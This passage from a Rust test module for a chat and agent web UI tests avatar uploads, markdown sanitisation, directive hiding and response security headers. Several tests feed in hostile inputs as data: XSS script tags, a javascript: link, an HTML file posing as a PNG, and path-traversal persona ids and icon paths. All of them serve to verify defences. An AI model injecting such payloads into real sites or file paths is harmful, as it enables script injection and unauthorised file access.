13891 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13892 assert!(
13893 !view.talk.turns[2].messages[0]
13894 .reply
13895 .as_ref()
13896 .unwrap()
13897 .excerpt
13898 .contains("automatic report")
13899 );
13900 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13901 }
13902
13903 #[tokio::test]
13904 async fn consultation_display_hides_directives_in_queue_and_history() {
13905 for node in [
13906 "implement",
13907 crate::land::APPROVAL_NODE,
13908 crate::github_text::ASK_NODE,
13909 ] {
13910 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13911 let mut question = Question::new(
13912 "run-123".into(),
13913 node.into(),
13914 "seat-1".into(),
13915 "Which backend?".into(),
13916 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13917 vec!["SQLite".into(), "Redis".into()],
13918 );
13919 ui.questions.put(&mut question).unwrap();
13920 let body = crate::prompt::chat_consult(&question);
13921 let mut conversation = ui.talks.get(&id).unwrap();
13922 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13923 assert!(
13924 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13925 );
13926 conversation = ui.talks.get(&id).unwrap();
13927 assert_eq!(conversation.pending_messages[0].body, body);
13928 assert!(body.contains("magi answer"));
13929 let mut legacy_pending = conversation.clone();
13930 legacy_pending.pending_messages[0].display = None;
13931 let legacy_view =
13932 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13933 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13934 assert!(legacy_md.contains("Question consultation"));
13935 assert!(!legacy_md.contains("magi answer"));
13936 let view =
13937 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13938 assert!(
13939 view.turn_messages_md[0][0].is_none(),
13940 "operator copy stays literal"
13941 );
13942 let queued_md = view.pending_messages_md[0].clone().unwrap();
13943 let rendered = serde_json::to_string(&queued_md).unwrap();
13944 for visible in [
13945 "Which backend?",
13946 "Context",
13947 "storage",
13948 "SQLite",
13949 "Redis",
13950 "<script>literal</script>",
13951 ] {
13952 assert!(rendered.contains(visible), "missing {visible}");
13953 }
13954 for directive in [
13955 "What to do",
13956 "magi answer",
13957 "Never answer it yourself",
13958 "Do not edit the repository",
13959 ] {
13960 assert!(!rendered.contains(directive), "exposed {directive}");
13961 }
13962 assert_eq!(
13963 view.talk.pending_messages[0].display,
13964 Some(crate::prompt::chat_consult_display(&question))
13965 );
13966 talk::drain(&mut conversation, &ui.talks).unwrap();
13967 let view =
13968 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13969 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13970 assert_eq!(conversation.turns[1].messages[0].body, body);
13971
13972 conversation.turns[1].messages[0].display = None;
13975 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13976 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13977 assert!(legacy.contains("Question consultation"));
13978 assert!(!legacy.contains("magi answer"));
13979 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13980 }
13981 }
13982
13983 #[test]
13984 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13985 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13986 let (body, mut display) =
13987 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13988 display.facts = facts.into();
13989 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13990 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13991 let json = serde_json::to_string(&nodes).unwrap();
13992 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13993 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13994 }
13995 assert!(json.contains("<script>alert(1)</script>"));
13996 assert!(!json.contains("javascript:"));
13997 assert!(!json.contains("Tell the operator"));
13998 assert!(!json.contains("untrusted"));
13999 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14000 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14001 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14002 assert_eq!(
14003 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14004 md::to_nodes("# Status", &md::ImageBase::None),
14005 );
14006 }
14007
14008 #[tokio::test]
14009 async fn notification_display_recovers_exact_legacy_completion_references() {
14010 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14011 let mut conversation = ui.talks.get(&id).unwrap();
14012 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14013 id: "task-123",
14014 title: "Change",
14015 status: "done",
14016 reason: None,
14017 run: Some("run-123"),
14018 pr: None,
14019 summary: Some("Merge state unknown"),
14020 });
14021 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14022 conversation.turns[0].sender = None;
14023 conversation.turns[0].messages.clear();
14024 conversation.turns[0].breaks = None;
14025 conversation.pending = body.clone();
14026 conversation
14027 .completion_notices
14028 .push(crate::chat_notify::CompletionReference {
14029 task: "task-123".into(),
14030 run: Some("run-123".into()),
14031 notice: body.clone(),
14032 });
14033 ui.talks.put(&mut conversation).unwrap();
14034 let view = TalkView::with_config(
14035 ui.talks.get(&id).unwrap(),
14036 false,
14037 None,
14038 &ui.home,
14039 &ui.references,
14040 );
14041 assert_eq!(
14042 view.talk.turns[0].messages[0].display,
14043 Some(display.clone())
14044 );
14045 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14046 assert_eq!(
14047 view.talk.turns[0].messages[0].sender,
14048 Some(talk::Sender::Magi)
14049 );
14050 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14051 conversation.completion_notices[0]
14052 .notice
14053 .push_str("different");
14054 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14055 assert!(view.talk.turns[0].messages.is_empty());
14056 assert!(view.talk.pending_messages.is_empty());
14057 }
14058
14059 #[tokio::test]
14060 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14061 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14062 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14063 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14064 ))
14065 .await;
14066 let path = avatar_setting_path(home.path(), Some("rei"));
14067 let orphan = avatar_setting_path(home.path(), Some("removed"));
14068 save_icon_file(&orphan, icon).unwrap();
14069 for (saved, expected) in [
14070 (icon, "custom"),
14071 ("builtin", "builtin"),
14072 ("data:image/png;base64,!!!!", "inherit"),
14073 ("data:image/png;base64,PGh0bWw+", "inherit"),
14074 ("/tmp/avatar.png", "inherit"),
14075 ] {
14076 atomic_icon_write(&path, saved).unwrap();
14077 let catalog =
14078 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14079 .await
14080 .unwrap()
14081 .0;
14082 let personas = catalog["personas"].as_array().unwrap();
14083 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14084 assert_eq!(rei["override_state"], expected);
14085 assert_eq!(rei["has_config_icon"], true);
14086 assert_eq!(rei["is_orphan"], false);
14087 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14088 assert_eq!(removed["override_state"], "custom");
14089 assert_eq!(removed["is_orphan"], true);
14090 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14091 assert_eq!(default["override_state"], "inherit");
14092 assert_eq!(default["has_config_icon"], false);
14093 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14094 assert_eq!(
14095 effective.as_deref(),
14096 Some(if expected == "builtin" { "" } else { icon })
14097 );
14098 }
14099 }
14100
14101 #[tokio::test]
14102 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14103 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14104 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14105 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14106 ))
14107 .await;
14108 let target = |id: Option<&str>| AvatarSettingsQuery {
14109 persona: id.map(str::to_owned),
14110 ..Default::default()
14111 };
14112 let original_config = config_for(&repo).await.unwrap();
14113 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14114 let original_prompt = persona::section_for(&original_persona, None);
14115 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14116 .await
14117 .unwrap()
14118 .0;
14119 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14120 let _ = avatar_settings_put(
14121 State(ui.clone()),
14122 Query(target(persona)),
14123 Json(MagiIconUpload { icon: icon.into() }),
14124 )
14125 .await
14126 .unwrap();
14127 let path = avatar_setting_path(home.path(), persona);
14128 assert!(path.starts_with(home.path().join("avatars")));
14129 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14130 for bad in [
14131 "/tmp/image.png".to_owned(),
14132 "data:image/png;base64,!!!!".to_owned(),
14133 "data:image/png;base64,PGh0bWw+".to_owned(),
14134 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14135 format!(
14136 "data:image/png;base64,{}",
14137 "A".repeat(persona_icon::ICON_MAX_BYTES)
14138 ),
14139 ] {
14140 assert!(
14141 avatar_settings_put(
14142 State(ui.clone()),
14143 Query(target(persona)),
14144 Json(MagiIconUpload { icon: bad })
14145 )
14146 .await
14147 .is_err()
14148 );
14149 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14150 }
14151 }
14152 assert!(read_magi_icon(home.path()).is_none());
14153 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14154 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14155 .await
14156 .unwrap()
14157 .0;
14158 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14159 assert_ne!(
14160 before
14161 .personas
14162 .iter()
14163 .find(|p| p.id == "magi")
14164 .unwrap()
14165 .avatar,
14166 after
14167 .personas
14168 .iter()
14169 .find(|p| p.id == "magi")
14170 .unwrap()
14171 .avatar
14172 );
14173 let restarted = Arc::new(Ui::new(
14174 Queue::at(home.path().join("queue")),
14175 Questions::at(home.path().join("questions")),
14176 Talks::at(home.path().join("talks")),
14177 home.path().join("runs"),
14178 home.path().to_owned(),
14179 repo,
14180 ));
14181 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14182 .await
14183 .unwrap()
14184 .0;
14185 assert!(
14186 catalog["personas"]
14187 .as_array()
14188 .unwrap()
14189 .iter()
14190 .any(|p| p["id"] == "../custom/日本語")
14191 );
14192 for expected in ["custom", "default", "rei"] {
14193 assert!(
14194 catalog["personas"]
14195 .as_array()
14196 .unwrap()
14197 .iter()
14198 .any(|p| p["id"] == expected)
14199 );
14200 }
14201 let response =
14202 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14203 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14204 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14205 .await
14206 .unwrap();
14207 assert_eq!(
14208 effective_persona_icon(home.path(), "rei", Some(icon)),
14209 Some(String::new())
14210 );
14211 let response = talk_avatar(
14212 State(restarted.clone()),
14213 Path(id.clone()),
14214 Query(AvatarQuery {
14215 persona: Some("rei".into()),
14216 ..Default::default()
14217 }),
14218 )
14219 .await
14220 .unwrap();
14221 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14222 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14223 .await
14224 .unwrap()
14225 .0;
14226 assert_ne!(
14227 after
14228 .personas
14229 .iter()
14230 .find(|p| p.id == "rei")
14231 .unwrap()
14232 .avatar,
14233 reset
14234 .personas
14235 .iter()
14236 .find(|p| p.id == "rei")
14237 .unwrap()
14238 .avatar
14239 );
14240 let mut inherit = target(Some("rei"));
14241 inherit.inherit = Some("1".into());
14242 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14243 .await
14244 .unwrap();
14245 assert_eq!(
14246 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14247 Some(icon)
14248 );
14249 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14250 .await
14251 .unwrap();
14252 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14253 assert_eq!(
14254 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14255 Some(icon)
14256 );
14257 let cfg = config_for(&ui.repo).await.unwrap();
14259 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14260 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14261 assert!(!original_prompt.contains("data:image"));
14262 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14263 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14264 assert!(!stored.contains("data:image"));
14265 let mut orphan = ui.talks.get(&id).unwrap();
14266 orphan.persona = "../custom/日本語".into();
14267 let view = TalkView::with_config(
14268 orphan,
14269 false,
14270 Some(&cfg),
14271 home.path(),
14272 &id_links::IndexCache::default(),
14273 );
14274 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14275 }
14276
14277 #[tokio::test]
14278 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14279 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14280 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14281 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14282 let _ = magi_icon_put(
14283 State(ui.clone()),
14284 Json(MagiIconUpload { icon: icon.into() }),
14285 )
14286 .await
14287 .unwrap();
14288 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14289 assert_ne!(original, changed);
14290 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14291 let response = magi_avatar(
14292 State(ui.clone()),
14293 Query(AvatarQuery {
14294 persona: None,
14295 builtin: None,
14296 }),
14297 )
14298 .await;
14299 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14300 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14301 assert_eq!(
14302 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14303 "nosniff"
14304 );
14305 for bad in [
14306 "data:image/png;base64,PGh0bWw+".to_owned(),
14307 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14308 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14309 ] {
14310 assert!(save_magi_icon(home.path(), &bad).is_err());
14311 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14312 }
14313 let restarted = Arc::new(Ui::new(
14315 Queue::at(home.path().join("queue")),
14316 Questions::at(home.path().join("questions")),
14317 Talks::at(home.path().join("talks")),
14318 home.path().join("runs"),
14319 home.path().to_path_buf(),
14320 repo,
14321 ));
14322 assert_eq!(
14323 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14324 changed
14325 );
14326 let view = TalkView::with_config(
14327 restarted.talks.get(&id).unwrap(),
14328 false,
14329 None,
14330 &restarted.home,
14331 &restarted.references,
14332 );
14333 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14334 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14335 let response = magi_avatar(
14336 State(ui.clone()),
14337 Query(AvatarQuery {
14338 persona: None,
14339 builtin: None,
14340 }),
14341 )
14342 .await;
14343 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14344 .await
14345 .unwrap();
14346 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14347 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14348 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14349 let _ = magi_icon_delete(State(ui)).await.unwrap();
14350 }
14351
14352 async fn avatar(
14354 ui: &Arc<Ui>,
14355 id: &str,
14356 persona: Option<&str>,
14357 builtin: bool,
14358 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14359 let res = talk_avatar(
14360 State(Arc::clone(ui)),
14361 Path(id.to_owned()),
14362 Query(AvatarQuery {
14363 persona: persona.map(str::to_owned),
14364 builtin: builtin.then(|| "1".to_owned()),
14365 }),
14366 )
14367 .await
14368 .expect("an avatar is never an error response");
14369 let h = res.headers();
14370 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14371 let nosniff = h
14372 .get(header::X_CONTENT_TYPE_OPTIONS)
14373 .is_some_and(|v| v == "nosniff");
14374 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14375 let status = res.status();
14376 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14377 .await
14378 .expect("body")
14379 .to_vec();
14380 (status, ct, nosniff, csp, body)
14381 }
14382
14383 fn tiny_png() -> Vec<u8> {
14384 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14385 b.extend_from_slice(&[0u8; 32]);
14386 b
14387 }
14388
14389 #[tokio::test]
14390 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14391 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14392 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14393 assert_eq!(res.status(), StatusCode::OK);
14394 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14395 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14396 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14397 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14398 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14399 .await
14400 .unwrap();
14401 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14402 assert_ne!(
14403 persona_icon::operator_svg(),
14404 persona_icon::builtin_svg("default")
14405 );
14406 }
14407
14408 #[tokio::test]
14409 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14410 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14411 for p in [
14412 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14413 ] {
14414 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14415 assert_eq!(status, StatusCode::OK, "{p}");
14416 assert_eq!(ct, "image/svg+xml", "{p}");
14417 assert!(nosniff && csp, "{p}");
14418 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14419 }
14420 let own = avatar(&ui, &id, None, false).await;
14422 let default = avatar(&ui, &id, Some("default"), false).await;
14423 assert_eq!(own.4, default.4);
14424 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14425 assert_eq!(unknown.1, "image/svg+xml");
14426 }
14427
14428 #[tokio::test]
14429 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14430 let dir = TempDir::new().expect("icons");
14431 let good = dir.path().join("good.png");
14432 std::fs::write(&good, tiny_png()).unwrap();
14433 let spoof = dir.path().join("spoof.png");
14434 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14435 let big = dir.path().join("big.png");
14436 let mut bytes = tiny_png();
14437 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14438 std::fs::write(&big, bytes).unwrap();
14439 let missing = dir.path().join("missing.png");
14440 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14441 let extra = format!(
14442 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14443 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14444 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14445 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14446 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14447 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14448 uri(&good),
14449 uri(&spoof),
14450 uri(&big),
14451 uri(&missing),
14452 );
14453 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14454
14455 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14456 assert_eq!(
14457 (status, ct.as_str(), nosniff),
14458 (StatusCode::OK, "image/png", true)
14459 );
14460 assert_eq!(body, tiny_png());
14461 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14462 assert_eq!(ct, "image/png", "data URI");
14463
14464 for p in ["misato", "asuka", "shinji", "magi"] {
14465 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14466 assert_eq!(
14467 (status, ct.as_str(), csp),
14468 (StatusCode::OK, "image/svg+xml", true),
14469 "{p}"
14470 );
14471 assert!(body.starts_with(b"<svg"), "{p}");
14472 }
14473 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14475 assert_eq!(ct, "image/svg+xml");
14476 }
14477
14478 #[tokio::test]
14479 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14480 let oversized = format!(
14481 "data:image/png;base64,{}",
14482 "A".repeat(persona_icon::ICON_MAX_BYTES)
14483 );
14484 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14485 let extra = format!(
14486 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14487 );
14488 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14489 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14490 .await
14491 .expect("detail with invalid icon");
14492 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14493 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14494 assert_eq!(status, StatusCode::OK);
14495 assert_eq!(ct, "image/svg+xml");
14496 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14497 let Json(view) = talk_persona(
14498 State(Arc::clone(&ui)),
14499 Path(id.clone()),
14500 Json(TalkPersona {
14501 persona: "custom".into(),
14502 }),
14503 )
14504 .await
14505 .expect("persona switch with invalid icon");
14506 assert_eq!(view.talk.persona, "custom");
14507 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14508 }
14509 }
14510
14511 #[tokio::test]
14512 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14513 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14514 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14515 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14516 assert_eq!(
14517 (status, ct.as_str(), nosniff, csp),
14518 (StatusCode::OK, "image/svg+xml", true, true)
14519 );
14520 }
14521
14522 #[tokio::test]
14523 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14524 let (_t, _h, ui, id, _repo) =
14525 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14526 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14527 .await
14528 .expect("detail");
14529 let json = serde_json::to_string(&detail).unwrap();
14530 assert!(
14531 !json.contains("secret"),
14532 "the icon setting must not leak: {json}"
14533 );
14534 assert!(
14535 detail
14536 .view
14537 .persona_avatar
14538 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14539 );
14540 assert_eq!(
14541 detail.view.operator_avatar,
14542 format!(
14543 "/avatars/operator.svg?v={}",
14544 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14545 )
14546 );
14547 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14548 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14549 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14550 assert!(rei.avatar.contains("persona=rei&v="));
14551 assert_ne!(
14552 rei.avatar.split("&v=").nth(1),
14553 plain.avatar.split("&v=").nth(1)
14554 );
14555 }
14556
14557 #[tokio::test]
14558 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14559 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14560 let cfg = config_for(&repo).await.unwrap();
14561 for arrived in [false, true] {
14562 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14563 let observed = ui.queued_generation(&id);
14564 let talk = ui.talks.get(&id).unwrap();
14565 if arrived {
14566 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14567 }
14568 let mut settling = std::pin::pin!(settle_settings_turn(
14569 talk,
14570 ui.talks.clone(),
14571 cfg.clone(),
14572 id.clone(),
14573 turn,
14574 observed
14575 ));
14576 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14577 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14578 assert_eq!(first.is_pending(), arrived);
14579 if arrived {
14580 assert!(!settling.await);
14581 }
14582 assert!(!ui.is_thinking(&id));
14583 }
14584 }
14585
14586 #[tokio::test]
14587 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14588 let tmp = TempDir::new().expect("tempdir");
14589 let repo = tmp.path().join("repo");
14590 std::fs::create_dir_all(&repo).expect("repo dir");
14591 std::fs::write(
14592 repo.join("magi.toml"),
14593 format!(
14594 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14595 ),
14596 )
14597 .expect("write magi.toml");
14598 let home = TempDir::new().expect("temp home");
14599 let talks = Talks::at(home.path().join("talks"));
14600 let ui = Arc::new(
14601 Ui::new(
14602 Queue::at(home.path().join("queue")),
14603 Questions::at(home.path().join("questions")),
14604 talks.clone(),
14605 home.path().join("runs"),
14606 home.path().to_path_buf(),
14607 repo.clone(),
14608 )
14609 .with_worktrees_root(home.path().join("wt")),
14610 );
14611 let cfg = config_for(&repo).await.expect("discover config");
14612 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14613 let id = talk.id.clone();
14614 let call = |persona: &str| {
14615 talk_persona(
14616 State(Arc::clone(&ui)),
14617 Path(id.clone()),
14618 Json(TalkPersona {
14619 persona: persona.to_owned(),
14620 }),
14621 )
14622 };
14623
14624 let unknown = call("nobody").await.expect_err("unknown persona");
14625 assert_eq!(
14626 unknown.status,
14627 StatusCode::BAD_REQUEST,
14628 "{}",
14629 unknown.message
14630 );
14631
14632 {
14633 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14636 let busy = call("rei").await.expect_err("busy talk");
14637 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14638 assert!(
14639 busy.message.contains("a talk turn is running"),
14640 "{}",
14641 busy.message
14642 );
14643 drop(guard);
14644 }
14645 assert_eq!(talks.get(&id).expect("reload").persona, "");
14646
14647 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14648 assert_eq!(view.talk.persona, "gendo");
14649 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14650 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14651 for chosen in ["default", "gendo", "rei", "gendo"] {
14653 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14654 assert!(!view.thinking);
14655 assert!(!ui.is_thinking(&id));
14656 }
14657
14658 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14659 .await
14660 .expect("detail");
14661 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14662 assert_eq!(ids.first(), Some(&"default"));
14663 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14664
14665 let Json(view) = call("default").await.expect("back to default");
14666 assert_eq!(view.talk.persona, "");
14667
14668 let mut closed = talks.get(&id).expect("reload");
14669 talk::close(&mut closed, &talks).expect("close");
14670 let refused = call("rei").await.expect_err("closed talk");
14671 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14672 assert!(
14673 refused.message.contains("takes no more turns"),
14674 "{}",
14675 refused.message
14676 );
14677 }
14678
14679 #[tokio::test]
14680 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14681 let f = Fixture::start().await;
14682 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14683 let queue = f.queue();
14684 let mut mine = Task::new(
14685 "rename the loader".to_owned(),
14686 "rename the loader".to_owned(),
14687 PathBuf::from("/repo/magi"),
14688 Source::Agent {
14689 run: talk_id.clone(),
14690 node: "chat".to_owned(),
14691 },
14692 );
14693 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14694 assert_eq!(empty["task_progress"]["state"], "none");
14695 assert_eq!(empty["task_progress"]["total"], 0);
14696 queue.put(&mut mine).expect("file the task");
14697 let mut theirs = Task::new(
14698 "unrelated".to_owned(),
14699 "unrelated".to_owned(),
14700 PathBuf::from("/repo/magi"),
14701 Source::Human,
14702 );
14703 theirs.origin_chat = Some(talk_id.clone());
14705 queue.put(&mut theirs).expect("file the task");
14706
14707 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14708 assert_eq!(res.status, 200, "{}", res.body);
14709 let body = res.json();
14710 assert_eq!(
14711 body["status"], "open",
14712 "filing a task does not close a talk"
14713 );
14714 let tasks = body["tasks"].as_array().expect("tasks array");
14715 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14716 assert_eq!(tasks[0]["id"], mine.id);
14717 for status in [
14718 TaskStatus::Queued,
14719 TaskStatus::Running,
14720 TaskStatus::Held,
14721 TaskStatus::Failed,
